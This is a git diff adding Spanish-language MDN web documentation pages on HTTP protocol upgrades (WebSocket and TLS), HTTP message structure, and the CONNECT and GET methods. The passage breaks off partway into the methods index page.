+<p>El formato <a href="https://tools.ietf.org/html/rfc4648#section-5">base64url</a> fno es el mismo que el formato estándar Base64.  La única diferencia es que para asegurar que la cadena de caracteres es segura para que pueda usarse con URLs y nombres de archivos, los caracteres 62 y 63 en el alfabeto de este formato se cambian de : <code>"+"</code> y <code>"/"</code> a: <code>"-"</code> (menos) y <code>"_"</code>  respectivamente.</p>
+</div>
+
+<p>Si el servidor no puede hacer el cambio a HTTP/2, este responderá en HTTP/1 como si fuera una petición normal (con los códigos: <code>"200 OK"</code> si todo es correcto, o <code>30x</code> si quiere hacer una redirección, o <code>40x</code> ó <code>50x</code>  si no puede responder con el recurso pedido). Así una petición de una página que exista será respondida con <code>"HTTP/1.1 200 OK"</code>  seguido del resto de la cabecera de la página. Si el servidor, si que puede cambiar al protocolo HTTP/2 , la respuesta será:  "<code>HTTP/1.1 101 Switching Protocols"</code>. A continuación, se presenta un ejemplo de una posible respuesta, a una petición de actualización a HTTP/2.</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Connection: Upgrade
+Upgrade: h2c
+
+<em>[standard HTTP/2 server connection preface, etc.]</em></pre>
+
+<p>A continuación de la línea en blanco, que sigue al final de la cabecera de respuesta; el servidor, indicará los parámetros ("<code>SETTINGS"</code>) de la nueva comunicación con HTTP/2.</p>
+
+<h3 id="Mejorar_a_una_conexión_WebSocket">Mejorar a una conexión WebSocket</h3>
+
+<p>By far, the most common use case for upgrading an HTTP connection is to use WebSockets, which are always implemented by upgrading an HTTP or HTTPS connection. Keep in mind that if you're opening a new connection using the <a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a>, or any library that does WebSockets, most or all of this is done for you. For example, opening a WebSocket connection is as simple as:</p>
+
+<pre class="brush: js">webSocket = new WebSocket("ws://destination.server.ext", "optionalProtocol");</pre>
+
+<p>The {{domxref("WebSocket.WebSocket", "WebSocket()")}} constructor does all the work of creating an initial HTTP/1.1 connection then handling the handshaking and upgrade process for you.</p>
+
+<div class="note">
+<p>You can also use the <code>"wss://"</code> URL scheme to open a secure WebSocket connection.</p>
+</div>
+
+<p>If you need to create a WebSocket connection from scratch, you'll have to handle the handshaking process yourself. After creating the initial HTTP/1.1 session, you need to request the upgrade by adding to a standard request the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, as follows:</p>
+
+<pre>Connection: Upgrade
+Upgrade: websocket</pre>
+
+<h3 id="Cabeceras_específicas_de_WebSocket">Cabeceras específicas de WebSocket</h3>
+
+<p>The following headers are involved in the WebSocket upgrade process. Other than the {{HTTPHeader("Upgrade")}} and {{HTTPHeader("Connection")}} headers, the rest are generally optional or handled for you by the browser and server when they're talking to each other.</p>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Extensions)">{{HTTPHeader("Sec-WebSocket-Extensions")}}</h4>
+
+<p>Specifies one or more protocol-level WebSocket extensions to ask the server to use. Using more than one <code>Sec-WebSocket-Extension</code> header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Extensions: <em>extensions</em></pre>
+
+<dl>
+ <dt><code>extensions</code></dt>
+ <dd>A comma-separated list of extensions to request (or agree to support). These should be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#extension-name">IANA WebSocket Extension Name Registry</a>. Extensions which take parameters do so using semicolon delineation.</dd>
+</dl>
+
+<p>For example:</p>
+
+<pre>Sec-WebSocket-Extensions: superspeed, colormode; depth=16</pre>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Key)">{{HTTPHeader("Sec-WebSocket-Key")}}</h4>
+
+<p>Provides information to the server which is needed in order to confirm that the client is entitled to request an upgrade to WebSocket. This header can be used when insecure (HTTP) clients wish to upgrade, in order to offer some degree of protection against abuse. The value of the key is computed using an algorithm defined in the WebSocket specification, so this <em>does not provide security</em>. Instead, it helps to prevent non-WebSocket clients from inadvertently, or through misuse, requesting a WebSocket connection. In essence, then, this key simply confirms that "Yes, I really mean to open a WebSocket connection."</p>
+
+<p>This header is automatically added by clients that choose to use it; it cannot be added using the {{domxref("XMLHttpRequest.setRequestHeader()")}} method.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Key: <em>key</em></pre>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd>The key for this request to upgrade. The client adds this if it wishes to do so, and the server will include in the response a key of its own, which the client will validate before delivering the upgrade reponse to you.</dd>
+</dl>
+
+<p>The server's response's <code>Sec-WebSocket-Accept</code> header will have a value computed based upon the specified <code>key</code>.</p>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Protocol)">{{HTTPHeader("Sec-WebSocket-Protocol")}}</h4>
+
+<p>The <code>Sec-WebSocket-Protocol</code> header specifies one or more WebSocket protocols that you wish to use, in order of preference. The first one that is supported by the server will be selected and returned by the server in a <code>Sec-WebSocket-Protocol</code> header included in the response. You can use this more than once in the header, as well; the result is the same as if you used a comma-delineated list of subprotocol identifiers in a single header.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Protocol: <em>subprotocols</em></pre>
+
+<dl>
+ <dt><code>subprotocols</code></dt>
+ <dd>A comma-separated list of subprotocol names, in the order of preference. The subprotocols may be selected from the <a href="https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name">IANA WebSocket Subprotocol Name Registry</a> or may be a custom name jointly understood by the client and the server.</dd>
+</dl>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Version)">{{HTTPHeader("Sec-WebSocket-Version")}}</h4>
+
+<h5 id="Encabezado_de_petición">Encabezado de petición</h5>
+
+<p>Specifies the WebSocket protocol version the client wishes to use, so the server can confirm whether or not that version is supported on its end.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Version: <em>version</em></pre>
+
+<dl>
+ <dt><code>version</code></dt>
+ <dd>The WebSocket protocol version the client wishes to use when communicating with the server. This number should be the most recent version possible listed in the <a href="https://www.iana.org/assignments/websocket/websocket.xml#version-number">IANA WebSocket Version Number Registry</a>. The most recent final version of the WebSocket protocol is version 13.</dd>
+</dl>
+
+<h5 id="Encabezado_de_respuesta">Encabezado de respuesta</h5>
+
+<p>If the server can't communicate using the specified version of the WebSocket protocol, it will respond with an error (such as 426 Upgrade Required) that includes in its headers a <code>Sec-WebSocket-Version</code> header with a comma-separated list of the supported protocol versions. If the server does support the requested protocol version, no <code>Sec-WebSocket-Version</code> header is included in the response.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Version: <em>supportedVersions</em></pre>
+
+<dl>
+ <dt><code>supportedVersions</code></dt>
+ <dd>A comma-delineated list of the WebSocket protocol versions supported by the server.</dd>
+</dl>
+
+<h3 id="Cabeceras_exclusivas_de_respuesta">Cabeceras exclusivas de respuesta</h3>
+
+<p>The response from the server may include these.</p>
+
+<h4 id="HTTPHeader(Sec-WebSocket-Accept)">{{HTTPHeader("Sec-WebSocket-Accept")}}</h4>
+
+<p>Included in the response message from the server during the opening handshake process when the server is willing to initiate a WebSocket connection. It will appear no more than once in the repsonse headers.</p>
+
+<pre class="syntaxbox">Sec-WebSocket-Accept: <em>hash</em></pre>
+
+<dl>
+ <dt><code>hash</code></dt>
+ <dd>If a <code>Sec-WebSocket-Key</code> header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the {{interwiki("wikipedia", "SHA-1")}} hash of that concatenated string, resulting in a 20-byte value. That value is then <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> encoded to obtain the value of this property.</dd>
+</dl>
+
+<h3 id="Mejora_a_HTTP_sobre_TLS_iniciada_por_el_cliente">Mejora a HTTP sobre TLS iniciada por el cliente</h3>
+
+<p>You can also upgrade an HTTP/1.1 connection to TLS/1.0. The main advantages to this are that you can avoid using URL redirection from "http://" to "https://" on the server and you can easily use TLS on virtual hosts. This may, however, introduce problems with proxy servers.</p>
+
+<p>Upgrading an HTTP connection to use {{Glossary("TLS")}} uses the {{HTTPHeader("Upgrade")}} header with the token <code>"TLS/1.0"</code>. If the switch is made successfully, the original request (which included <code>Upgrade</code>) is completed as normal, but on the TLS connection.</p>
+
+<p>The request to TLS can be made either optionally or mandatorily.</p>
+
+<h4 id="Mejora_opcional">Mejora opcional</h4>
+
+<p>To upgrade to TLS optionally (that is, allowing the connection to continue in cleartext if the upgrade to TLS fails), you simply use the <code>Upgrade</code> and {{HTTPHeader("Connection")}} headers as expected. For example, given the original request:</p>
+
+<pre>GET http://destination.server.ext/secretpage.html HTTP/1.1
+Host: destination.server.ext
+Upgrade: TLS/1.0
+Connection: Upgrade</pre>
+
+<p>If the server <em>does not</em> support TLS upgrade, or is unable to upgrade to TLS at the time, it responds with a standard HTTP/1.1 response, such as:</p>
+
+<pre>HTTP/1.1 200 OK
+Date: Thu, 17 Aug 2017 21:07:44 GMT
+Server: Apache
+Last-Modified: Thu, 17 Aug 2017 08:30:15 GMT
+Content-Type: text/html; charset=utf-8
+Content-Length: 31374
+
+&lt;html&gt;
+  ...
+&lt;/html&gt;
+</pre>
+
+<p>If the server <em>does</em> support TLS upgrade and wishes to permit the upgrade, it responds with the <code>"101 Switching Protocols"</code> response code, like this:</p>
+
+<pre>HTTP/1.1 101 Switching Protocols
+Upgrade: TLS/1.0, HTTP/1.1</pre>
+
+<p>Once the TLS handshake is complete, the original request will be responded to as normal.</p>
+
+<h4 id="Mejora_obligatoria">Mejora obligatoria</h4>
+
+<p>To request a mandatory upgrade to TLS—that is, to upgrade and fail the connection if the upgrade is not successful—your first request must be an {{HTTPMethod("OPTIONS")}} request, like this:</p>
+
+<pre>OPTIONS * HTTP/1.1
+Host: destination.server.ext
+Upgrade: TLS/1.0
+Connection: Upgrade</pre>
+
+<p>If the upgrade to TLS succeeds, the server will respond with <code>"101 Switching Protocols"</code> as described in the previous section. If the upgrade fails, the HTTP/1.1 connection will fail.</p>
+
+<h3 id="Mejora_a_TLS_iniciada_por_el_servidor">Mejora a TLS iniciada por el servidor</h3>
+
+<p>This works roughly the same way as a client-initiated upgrade; an optional upgrade is requested by adding the {{HTTPHeader("Upgrade")}} header to any message. A mandatory upgrade, though, works slightly differently, in that it requests the upgrade by replying to a message it receives with the {{HTTPStatus(426)}} status code, like this:</p>
+
+<pre>HTTP/1.1 426 Upgrade Required
+Upgrade: TLS/1.1, HTTP/1.1
+Connection: Upgrade
+
+&lt;html&gt;
+... Human-readable HTML page describing why the upgrade is required
+    and what to do if this text is seen ...
+&lt;/html&gt;</pre>
+
+<p>If the client receiving the <code>"426 Upgrade Required"</code> response is willing and able to upgrade to TLS, it should then start the same process covered above under {{anch("Client-initiated upgrade to TLS")}}.</p>
+
+<h2 id="Referencias">Referencias</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebSocket">WebSocket API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+ <li>Especificaciones y RFCs:
+  <ul>
+   <li>{{RFC(2616)}}</li>
+   <li>{{RFC(6455)}}</li>
+   <li>{{RFC(2817)}}</li>
+   <li>{{RFC(7540)}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/es/web/http/messages/index.html b/files/es/web/http/messages/index.html
new file mode 100644
index 0000000000..2db354a166
--- /dev/null
+++ b/files/es/web/http/messages/index.html
@@ -0,0 +1,140 @@
+---
+title: Mensajes HTTP
+slug: Web/HTTP/Messages
+translation_of: Web/HTTP/Messages
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Los mensajes HTTP, son los medios por los cuales se intercambian datos entre servidores y clientes. Hay dos tipos de mensajes: <em>peticiones</em>, enviadas por el cliente al servidor, para pedir el inicio de una acción; y <em>respuestas</em>, que son la respuesta del servidor. </p>
+
+<p>Los mensajes HTTP están compuestos de texto, codificado en ASCII, y pueden comprender múltiples líneas. En HTTP/1.1, y versiones previas del protocolo, estos mensajes eran enviados de forma abierta a través de la conexión. En HTTP/2.0 los mensajes, que anteriormente eran legibles directamente, se conforman mediante tramas binarias codificadas para aumentar la optimización y rendimiento de la transmisión.</p>
+
+<p>Los desarrolladores de páginas Web, o administradores de sitios Web, desarrolladores... raramente codifican directamente estos mensajes HTTP. Normalmente especifican estos mensajes HTTP, mediante archivos de configuración (para proxies, y servidores), APIs (para navegadores) y otros medios.</p>
+
+<p><img alt="From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent." src="https://mdn.mozillademos.org/files/13825/HTTPMsg2.png" style="height: 538px; width: 1174px;"></p>
+
+<p>El mecanismo de tramas binarias de HTTP/2 ha sido diseñado para que no necesite ninguna modificación de las APIs o archivos de configuración utilizados: es totalmente transparente para el usuario.</p>
+
+<p>Las peticiones y respuestas HTTP, comparten una estructura similar, compuesta de:</p>
+
+<ol>
+ <li>Una<em> línea de inicio</em> ('<em>start-line</em>' en inglés) describiendo la petición a ser implementada, o su estado, sea de éxito o fracaso. Esta línea de comienzo, es siempre una única línea. </li>
+ <li>Un grupo opcional de <em>cabeceras HTTP</em>, indicando la petición o describiendo el cuerpo ('<em>body</em>' en inglés) que se incluye en el mensaje. </li>
+ <li>Una línea vacía ('<em>empty-line</em>' en inglés) indicando toda la meta-información ha sido enviada.</li>
+ <li>Un campo de cuerpo de mensaje opcional ('<em>body</em>' en inglés) que lleva los datos asociados con la petición (como contenido de un formulario HTML), o los archivos o documentos asociados a una respuesta (como una página HTML, o un archivo de audio, vídeo ... ) . La presencia del cuerpo y su tamaño es indicada en la línea de inicio y las cabeceras HTTP.</li>
+</ol>
+
+<p>La línea de inicio y las cabeceras HTTP, del mensaje, son conocidas como la <em>cabeza</em> de la peticiones, mientras que su contenido en datos se conoce como el <em>cuerpo</em> del mensaje.</p>
+
+<p><img alt="Requests and responses share a common structure in HTTP" src="https://mdn.mozillademos.org/files/13827/HTTPMsgStructure2.png" style="height: 368px; width: 1239px;"></p>
+
+<h2 id="Peticiones_HTTP">Peticiones HTTP</h2>
+
+<h3 id="Línea_de_inicio">Línea de inicio</h3>
+
+<p>Las peticiones HTTP son mensajes enviados por un cliente, para iniciar una acción en el servidor. Su línea de inicio está formada por tres elementos: </p>
+
+<ol>
+ <li>Un <em><a href="/en-US/docs/Web/HTTP/Methods">método HTTP</a></em>, un verbo como: {{HTTPMethod("GET")}}, {{HTTPMethod("PUT")}} o {{HTTPMethod("POST")}}) o un nombre como: {{HTTPMethod("HEAD")}} o  {{HTTPMethod("OPTIONS")}}), que describan la acción que se pide sea realizada. Por ejemplo, <code>GET</code> indica que un archivo ha de ser enviado hacia el cliente, o <code>POST</code> indica que hay datos que van a ser enviados hacia el servidor (creando o modificando un recurso, o generando un documento temporal para ser enviado).</li>
+ <li>El objetivo de una petición, normalmente es una {{glossary("URL")}}, o la dirección completa del protocolo, puerto y dominio también suelen ser especificados por el contexto de la petición. El formato del objetivo de la petición varia según los distintos métodos HTTP. Puede ser:
+  <ul>
+   <li>Una dirección absoluta, seguida de un signo de cierre de interrogación  <code>'?'</code> y un texto de consulta. Este es el formato más comun, conocido como el formato original ('<em>origin form</em>' en inglés), se usa en los métodos <code>GET</code>, <code>POST</code>, <code>HEAD</code>, y <code>OPTIONS</code> . <br>
+    <code>POST / HTTP 1.1<br>
+    GET /background.png HTTP/1.0<br>
+    HEAD /test.html?query=alibaba HTTP/1.1<br>
+    OPTIONS /anypage.html HTTP/1.0</code></li>
+   <li>Una URL completa; conocido como el formato absoluto, usado mayormente con <code>GET</code> cuando se conecta a un proxy.<br>
+    <code>GET http://developer.mozilla.org/en-US/docs/Web/HTTP/Messages HTTP/1.1</code></li>
+   <li>El componente de autoriade de una URL, formado por el nombre del domínio y opcionalmente el puerto (el puerto precedido por el simbolo <code>':'</code> ), se denomina a este formato como el formato de autoridad. Unicamente se usa con  <code>CONNECT</code> cuando se establece un tunel HTTP.<br>
+    <code>CONNECT developer.mozilla.org:80 HTTP/1.1</code></li>
+   <li>El formato de asterisco, se utliza un asterisco (<code>'*'</code>)  junto con las opciones: <code>OPTIONS</code> , representando al servidor entero en conjunto. <br>
+    <code>OPTIONS * HTTP/1.1</code></li>
+  </ul>
+ </li>
+ <li>la versión de HTTP, la cual define la estructura de los mensajes, actuando como indicador, de la versión que espera que se use para la respuesta.</li>
+</ol>
+
+<h3 id="Cabeceras">Cabeceras</h3>
+
+<p>Las <a href="/en-US/docs/Web/HTTP/Headers">cabeceras HTTP</a>  de una petición siguen la misma estructura que la de una cabecera HTTP. Una cadena de caracteres, que no diferencia mayusculas ni minusculas, seguida por dos puntos  (<code>':'</code>)  y un valor cuya estructura depende de la cabecera. La cabecera completa, incluido el valor, ha de ser formada en una única línea, y pude ser bastante larga. </p>
+
+<p>Hay bastantes cabeceras posibles. Estas se pueden clasificar en varios grupos: </p>
+
+<ul>
+ <li><em>Cabeceras generales,</em> ('<em>General headers</em>' en inglés), como {{HTTPHeader("Via")}},  afectan al mensaje como una unidad completa.</li>
+ <li>Cabeceras de petición, ('<em>Request headers</em>' en inglés), como {{HTTPHeader("User-Agent")}}, {{HTTPHeader("Accept-Type")}}, modifican la petición especificándola en mayor detalle ( como: {{HTTPHeader("Accept-Language")}}, o dándole un contexto, como:  {{HTTPHeader("Referer")}}, o restringiéndola condicionalmente, como: {{HTTPHeader("If-None")}}.</li>
+ <li><em>Cabeceras de entidad, ('Entity headers' </em>en ingles), como {{HTTPHeader("Content-Length")}} las cuales se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser transmitida si el mensaje no tiene cuerpo ('<em>body</em>' en inglés). </li>
+</ul>
+
+<p><img alt="Example of headers in an HTTP request" src="https://mdn.mozillademos.org/files/13821/HTTP_Request_Headers2.png" style="height: 280px; width: 872px;"></p>
+
+<h3 id="Cuerpo">Cuerpo</h3>
+
+<p>La parte final de la petición el el cuerpo. No todas las peticiones llevan uno: las peticiones que reclaman datos, como <code>GET</code>, <code>HEAD</code>, <code>DELETE</code>, o <code>OPTIONS</code>, normalmente, no necesitan ningún cuerpo. Algunas peticiones pueden mandar peticiones al servidor con el fin de actualizarlo: como es el caso con la petición <code>POST</code>  (que contiene datos de un formulario HTML). </p>
+
+<p>Los cuerpos pueden ser dividos en dos categorias:</p>
+
+<ul>
+ <li>Cuerpos con un único dato, que consisten en un único archivo defindo por las dos cabeceras: {{HTTPHeader("Content-Type")}} y {{HTTPHeader("Content-Length")}}.   </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Cuerpos con múltiples datos</a>, que están formados por distintos contenidos, normalmente estan asociados con los <a href="/en-US/docs/Web/Guide/HTML/Forms">formularios HTML</a>. </li>
+</ul>
+
+<h2 id="Respuestas_HTTP">Respuestas HTTP</h2>
+
+<h3 id="Línea_de_estado">Línea de estado</h3>
+
+<p>La línea de inicio de una respuesta HTTP, se llama la<em> línea de estado</em>, y contienen la siguiente información: </p>
+
+<ol>
+ <li>La <em>versión del protocolo</em>, normalmente <code>HTTP/1.1</code>.</li>
+ <li>Un <em>código de estado</em>, indicando el éxito o fracaso de la petición. Códigos de estado muy comunes son:  {{HTTPStatus("200")}}, {{HTTPStatus("404")}}, o {{HTTPStatus("302")}}</li>
+ <li>Un <em>texto de estado</em>, que es una breve descripción, en texto, a modo informativo, de lo que significa el código de estado, con el fin de que una persona pueda interpretar el mensaje HTTP.</li>
+</ol>
+
+<p>Una línea de estado típica es por ejemplo:  <code>HTTP/1.1 404 Not Found.</code></p>
+
+<h3 id="Cabeceras_2">Cabeceras</h3>
+
+<p>Las <a href="/en-US/docs/Web/HTTP/Headers">cabeceras HTTP</a> para respuestas siguen también la misma estructura como cualquier otra cabecera: una cadena de texto, que no diferencia entre mayusculas y minúsculas, seguida por dos puntos (<code>':'</code>) y un valor cuya estructura depende del tipo de cabecera. Toda la cabecera incluido su valor, se ha de expresar en una única línea. </p>
+
+<p>Existen varias cabeceras posibles. Estas se puede dividir en distintos grupos:</p>
+
+<ul>
+ <li><em>Cabeceras generales,</em> ('<em>General headers</em>' en inglés), como {{HTTPHeader("Via")}},  afectan al mensaje completo.</li>
+ <li>Cabeceras de petición, ('<em>Request headers</em>' en inglés), como {{HTTPHeader("Vary")}} , {{HTTPHeader("Accept-Ranges")}}, dan información adicional sobre el servidor, que no tiene espacio en la línea de estado.</li>
+ <li><em>Cabeceras de entidad, ('Entity headers' </em>en ingles), como {{HTTPHeader("Content-Length")}} las cuales se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser transmitida si el mensaje no tiene cuerpo ('<em>body</em>' en inglés). </li>
+</ul>
+
+<p>*<img alt="Example of headers in an HTTP response" src="https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png" style="height: 344px; width: 805px;"></p>
+
+<h3 id="Cuerpo_2">Cuerpo</h3>
+
+<p>La última parte del mensaje de respuesta el es 'cuerpo'. No todas las respuestas tienen uno, respuestas con un código de estado como {{HTTPStatus("201")}} o {{HTTPStatus("204")}} normalmente prescinden de él.</p>
+
+<p>De forma general, los cuerpos se pueden diferenciar en tres categorias: </p>
+
+<ul>
+ <li>Cuerpos con un único dato, consisten en un simple archivo, de longitud conocida y definido en las cabeceras: {{HTTPHeader("Content-Type")}} y {{HTTPHeader("Content-Length")}}.</li>
+ <li>Cuerpos con un único dato, consisten en un simple archivo, de longitud desconocida, y codificado en partes, indicadas con {{HTTPHeader("Transfer-Encoding")}} valor <code>chunked</code> (que significa: 'partido' en inglés).</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data">Cuerpos con múltiples datos</a>, consisten de varios datos, cada uno con una sección distinta de información. Este caso es relativamente raro y poco común.</li>
+</ul>
+
+<h2 id="Tramas_HTTP2">Tramas HTTP/2</h2>
+
+<p>Los mensajes HTTP/1.x tienen algunas desventajas por su no muy alta eficiencia en la transmisión.</p>
+
+<ul>
+ <li>Las cabeceras, al contrario de los cuerpos, no se comprimen.</li>
+ <li>Las cabeceras, habitualmente se repiten de un mensaje al siguiente, aún así, la cabecera se repite en todos los mensajes.</li>
+ <li>No se puede multiplexar. Se han de abrir varias conexiones para el mismo servidor, las conexiones TCP 'en caliente' ('<em>warm TCP connections</em>' en inglés) son más eficientes que las conexiones 'en frio'.</li>
+</ul>
+
+<p>HTTP/2 introduce un paso extra: divide los mensajes HTTP/1.x en tramas que integra en un flujo de datos. Los datos y las tramas de las cabeceras, se separan, esto permite  la compresión de las cabeceras. Varios flujos de datos pueden combinarse juntos, y entonces se puede usar un procedimiento de multiplexación, permitiendo un uso más eficiente, de las conexiónes TCP.</p>
+
+<p><img alt="HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization." src="https://mdn.mozillademos.org/files/13819/Binary_framing2.png" style="height: 735px; width: 810px;"></p>
+
+<p>Las tramas HTTP son trasnparentes para los desarrolladores Web. Este paso adicional en HTTP/2, de los mensajes HTTP/1.0 y el protocolo por debajo. No son necesarios cambios en las APIs usadas por los desarrolladores Web para utilizar estas tramas HTTP, cuando las usan ambos: servidor y navegador. </p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Los mensajes HTTP son la clave para usar HTTP; su estructura es sencilla y son fácilmente ampliables. El protocolo HTTP/2 añade un mecanismo de tramas y una capa intermedia entre la sintaxis de HTTP/1.x y su protocolo inferior, sin modificarlo radicalmente: se construye sobre mecanismos de transmisión probados.</p>
diff --git a/files/es/web/http/methods/connect/index.html b/files/es/web/http/methods/connect/index.html
new file mode 100644
index 0000000000..b918b97996
--- /dev/null
+++ b/files/es/web/http/methods/connect/index.html
@@ -0,0 +1,85 @@
+---
+title: CONNECT
+slug: Web/HTTP/Methods/CONNECT
+tags:
+  - HTTP
+  - Método de petición
+translation_of: Web/HTTP/Methods/CONNECT
+---
+<p>{{HTTPSidebar}}</p>
+
+<p>El método <strong>HTTP <code>CONNECT</code> </strong>inicia la comunicación en dos caminos con la fuente del recurso solicitado. Puede ser usado para abrir una comunicación tunel.</p>
+
+<p>Por ejemplo, el método <code>CONNECT</code> puede ser usado para acceder a sitios web que usan {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). El cliente realiza la petición al Servidor Proxy HTTP para establecer una conexión tunel hacia un destino deseado. Entonces el servidor Proxy procede a realizar la conexión en nombre del cliente, una vez establecida la conexión con el servidor deseado, el servidor Proxy envía los datos desde y hacia el cliente.</p>
+
+<p>El método <code>CONNECT</code> es un método de salto entre servidores.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Contiene cuerpo la petición</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">La respuesta exitosa contiene cuerpo</th>
+   <td>Si</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Safe")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Idempotent")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en <a href="/en-US/docs/Web/Guide/HTML/Forms">formas HTML</a></th>
+   <td>No</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">CONNECT www.example.com:443 HTTP/1.1
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Algunos servidores proxy pueden necesitar autorización para crear tuneles. Consulta el encabezado {{HTTPHeader("Proxy-Authorization")}} .</p>
+
+<pre class="line-numbers  language-html">CONNECT server.example.com:80 HTTP/1.1
+Host: server.example.com:80
+Proxy-Authorization: basic aGVsbG86d29ybGQ=</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "CONNECT", "4.3.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.methods.CONNECT")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+</ul>
diff --git a/files/es/web/http/methods/get/index.html b/files/es/web/http/methods/get/index.html
new file mode 100644
index 0000000000..9c8dfaf09b
--- /dev/null
+++ b/files/es/web/http/methods/get/index.html
@@ -0,0 +1,69 @@
+---
+title: GET
+slug: Web/HTTP/Methods/GET
+translation_of: Web/HTTP/Methods/GET
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El método HTTP <strong><code>GET</code> </strong>solicita una representación del recurso especificado. Las solicitudes que usan <strong><code>GET</code></strong> solo deben recuperar datos.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Petición con cuerpo</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Respuesta válida con cuerpo</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Seguro")}}</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("idempotente")}}</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Cacheable")}}</th>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitido en HTML forms</th>
+   <td>Sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">GET /index.html
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "GET", "4.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud.</p>
+
+<p>{{Compat("http.methods.GET")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Range")}}</li>
+</ul>
diff --git a/files/es/web/http/methods/index.html b/files/es/web/http/methods/index.html
new file mode 100644
index 0000000000..daea5bde6c
--- /dev/null
+++ b/files/es/web/http/methods/index.html
@@ -0,0 +1,69 @@
+---
+title: Métodos de petición HTTP
+slug: Web/HTTP/Methods
+translation_of: Web/HTTP/Methods
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP define un conjunto de <strong>métodos de petición</strong> para indicar la acción que se desea realizar para un recurso determinado. Aunque estos también pueden ser sustantivos, estos métodos de solicitud a veces son llamados <em>HTTP verbs</em>. Cada uno de ellos implementan una semántica diferente, pero algunas características similares son compartidas por un grupo de ellos: ej. un <em>request method</em> puede ser {{glossary("safe")}}, {{glossary("idempotent")}}, o {{glossary("cacheable")}}.</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Methods/GET">GET</a></code></dt>
